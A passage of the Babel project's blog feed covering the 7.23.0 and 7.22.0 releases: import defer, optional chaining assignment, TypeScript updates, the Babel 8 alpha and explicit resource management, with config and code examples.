<h3 class="anchor anchorWithStickyNavbar_JmGV" id="deferred-import-evaluation-15845-15878">Deferred Import Evaluation (<a href="https://github.com/babel/babel/pull/15845" target="_blank" rel="noopener noreferrer">#15845</a>, <a href="https://github.com/babel/babel/pull/15878" target="_blank" rel="noopener noreferrer">#15878</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#deferred-import-evaluation-15845-15878" class="hash-link" aria-label="Direct link to deferred-import-evaluation-15845-15878" title="Direct link to deferred-import-evaluation-15845-15878">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-defer-import-eval/" target="_blank" rel="noopener noreferrer">Deferred Import Evaluation</a> Stage 2 proposal allows deferring the (synchronous) evaluation of imported modules until they are used. This can greatly improve the startup performance of your code when using modules that have a significant initialization cost.</p>
<p>You can use the new <code>import defer</code> syntax to defer your imports:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// this line does not evaluate ./mod</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">as</span><span class="token plain"> myMod </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function" style="color:#4271ae">later</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// this one evaluates it!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">use</span><span class="token punctuation">(</span><span class="token plain">myMod</span><span class="token punctuation">.</span><span class="token property-access">foo</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>The <code>import defer</code> syntax only support namespace imports, so the following is not valid:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer modDefault </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer </span><span class="token punctuation">{</span><span class="token plain"> named </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel only supports compiling <code>import defer</code> when compiling ECMAScript modules to CommonJS, using the <code>@babel/plugin-proposal-import-defer</code> plugin:</p>
<div class="language-jsonc codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-jsonc codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">// babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-transform-modules-commonjs",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-proposal-import-defer"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>If you are using Babel with a bundler and thus you are not compiling modules via Babel, if your bundler supports <code>import defer</code> you can use <code>@babel/plugin-syntax-import-defer</code> to allow parsing the new syntax.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="optional-chaining-assignment-15751">Optional Chaining Assignment (<a href="https://github.com/babel/babel/pull/15751" target="_blank" rel="noopener noreferrer">#15751</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#optional-chaining-assignment-15751" class="hash-link" aria-label="Direct link to optional-chaining-assignment-15751" title="Direct link to optional-chaining-assignment-15751">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-optional-chaining-assignment" target="_blank" rel="noopener noreferrer">Optional Chaining Assignment</a> Stage 1 proposal allows using optional chaining on the left side of assignment operators:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">maybeAnObj</span><span class="token operator">?.</span><span class="token plain">prop </span><span class="token operator">=</span><span class="token plain"> theValue</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Equivalent to</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">maybeAnObj </span><span class="token operator">!=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:#8959a8">null</span><span class="token punctuation">)</span><span class="token plain"> maybeAnObj</span><span class="token punctuation">.</span><span class="token property-access">prop</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> theValue</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>This proposal is championed by <a href="https://nicr.dev/" target="_blank" rel="noopener noreferrer">Nicolò Ribaudo</a>, a member of the Babel team, and we are already implementing it at Stage 1 to gather feedback that can help the design process in TC39. If you have any comments, or any real-world examples or use cases you can share, please leave them <a href="https://github.com/tc39/proposal-optional-chaining-assignment/discussions" target="_blank" rel="noopener noreferrer">in the proposal repository</a>!</p>
<p>You can try this proposal using the <code>@babel/plugin-proposal-optional-chaining-assign</code> plugin. Given the early stage and thus the high possibility of breaking changes, you must specify which version you want to use (currently only <code>2023-07</code> is supported):</p>
<div class="language-jsonc codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-jsonc codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">// babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-optional-chaining-assign", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "version": "2023-07"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-updates-15896-15913">TypeScript updates (<a href="https://github.com/babel/babel/pull/15896" target="_blank" rel="noopener noreferrer">#15896</a>, <a href="https://github.com/babel/babel/pull/15913" target="_blank" rel="noopener noreferrer">#15913</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#typescript-updates-15896-15913" class="hash-link" aria-label="Direct link to typescript-updates-15896-15913" title="Direct link to typescript-updates-15896-15913">​</a></h3>
<p>Babel 7.23.0 now supports parsing <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-2/" target="_blank" rel="noopener noreferrer">TypeScript 5.2</a>, whose only syntactic addition is the introduction of tuple types having both labeled and unlabeled entries.</p>
<p>In addition to that, <code>@babel/preset-typescript</code> now has a <code>rewriteImportExtensions</code> option that, when enabled, will rewrite <code>.ts</code>/<code>.mts</code>/<code>.cts</code> extensions in your import declarations to <code>.js</code>/<code>.mjs</code>/<code>.cjs</code>. Together with TypeScript's <a href="https://www.typescriptlang.org/tsconfig#allowImportingTsExtensions" target="_blank" rel="noopener noreferrer"><code>allowImportingTsExtension</code></a> option, this allows you to write complete relative specifiers in your imports while using the same extension used by the files you are authoring.</p>
<p>As an example, given this project structure (where <code>src</code> contains the source files, and <code>dist</code> the compiled files):</p>
<div class="codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-text codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── src</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   ├── main.ts</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   └── dep.ts</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── dist</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   ├── main.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   └── dep.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">└── tsconfig.json</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>and with the following configuration files:</p>
<table><thead><tr><th>babel.config.json</th><th>tsconfig.json</th></tr></thead><tbody><tr><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-typescript", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "rewriteImportExtensions": true</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "compilerOptions": {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "lib": ["esnext"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "noEmit": true,</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "isolatedModules": true,</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "moduleResolution": "nodenext",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "allowImportingTsExtensions": true</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>you will be able to write <code>import x from "./dep.ts"</code> in <code>main.ts</code>, and Babel will transform it to <code>import x from "./dep.js"</code> when compiling <code>main.ts</code> to <code>main.js</code>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="babel-8-alpha">Babel 8 alpha<a href="https://babeljs.io/blog/2023/09/25/7.23.0#babel-8-alpha" class="hash-link" aria-label="Direct link to Babel 8 alpha" title="Direct link to Babel 8 alpha">​</a></h3>
<p>After multiple years working on it, we finally released Babel 8.0.0 alpha! 🥳</p>
<p>Future pre-release will include more breaking changes, so we do not recommend to use it in production unless you are willing to keep up with all the changes as they come. However, you can already start getting ready for what will be Babel 8.0.0 stable:</p>
<ul>
<li>You can install it with <code>npm install -D @babel/core@next</code> (or the equivalent command with your package manager), and verify if it already works in your project. Please make sure that all the <code>@babel/*</code> packages in your <code>package.json</code> have exactly the same version (for example, <code>8.0.0-alpha.2</code>).</li>
<li>You can read the <a href="https://next.babeljs.io/docs/v8-migration" target="_blank" rel="noopener noreferrer">migration guide for users</a>: many of the breaking changes introduced in Babel 8 can already be enabled in Babel 7, and Babel 8 will simply remove the relative options making them the default behavior.</li>
<li>If you are a Babel plugin author, or if you use the Babel programmatic API directly, you can read the <a href="https://next.babeljs.io/docs/v8-migration-api" target="_blank" rel="noopener noreferrer">migration guide for integration authors</a> and make sure that your library works well with Babel 8.</li>
</ul>
<p>In addition to the migration guides, you can read the full changelog of the various Babel 8 pre-releases <a href="https://github.com/babel/babel/blob/main/.github/CHANGELOG-v8.md" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.22.0 Released: Explicit Resource Management support and Import Attributes parsing]]></title>
        <id>https://babeljs.io/blog/2023/05/26/7.22.0</id>
        <link href="https://babeljs.io/blog/2023/05/26/7.22.0"/>
        <updated>2023-05-26T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Babel 7.22.0 is out, with parsing/transform support for the Explicit Resource Management proposal, including both the sync and async variants, and with parsing support for the Import Attributes (an evolution of the old Import Assertions proposal).]]></summary>
        <content type="html"><![CDATA[<p>Babel 7.22.0 is out, with parsing/transform support for the <a href="https://github.com/tc39/proposal-explicit-resource-management" target="_blank" rel="noopener noreferrer">Explicit Resource Management</a> proposal, including both the sync and async variants, and with parsing support for the <a href="https://github.com/tc39/proposal-import-attributes" target="_blank" rel="noopener noreferrer">Import Attributes</a> (an evolution of the old <a href="http://web.archive.org/web/20220930084518/https://github.com/tc39/proposal-import-assertions" target="_blank" rel="noopener noreferrer">Import Assertions</a> proposal).</p>
<p>We also updated our implementation of <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer">decorators</a> following some changes in the proposal, and added support for the TypeScript <code>import ... =</code> and <code>export ... =</code> statements.</p>
<p><code>@babel/preset-env</code> now includes transform support for the <code>v</code> regular expressions flag, which was recently approved as part of the ECMAScript standard, by default. Lastly, we renamed all the plugins for <em>stable</em> ECMAScript features from <code>-proposal-</code> to <code>-transform-</code>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.22.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/05/26/7.22.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="explicit-resource-management-15633-15520">Explicit Resource Management (<a href="https://github.com/babel/babel/pull/15633" target="_blank" rel="noopener noreferrer">#15633</a>, <a href="https://github.com/babel/babel/pull/15520" target="_blank" rel="noopener noreferrer">#15520</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#explicit-resource-management-15633-15520" class="hash-link" aria-label="Direct link to explicit-resource-management-15633-15520" title="Direct link to explicit-resource-management-15633-15520">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-explicit-resource-management/" target="_blank" rel="noopener noreferrer">Explicit Resource Management</a> Stage 3 proposal allows defining variables containing resources that will be "disposed" when exiting the scope where they are declared. This is done through <code>using</code> (for synchronous disposal) and <code>await using</code> (for asynchronous disposal) declarations:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  using fileHandle </span><span class="token operator">=</span><span class="token plain"> filesystem</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">open</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./my/file.txt"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">write</span><span class="token punctuation">(</span><span class="token plain">fileHandle</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// At the end of the block, fileHandle will be automatically closed.</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> using db </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token maybe-class-name">Database</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">connect</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"//my-db.sql"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  db</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">query</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"INSERT INTO tools (name, version) VALUES ('Babel', '7.22.0')"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// At the end of the block, the db connection will be closed asynchronously</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can enable support for this proposal by adding <code>@babel/plugin-proposal-explicit-resource-management</code> to your Babel config:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     "@babel/plugin-proposal-explicit-resource-management"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> }</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
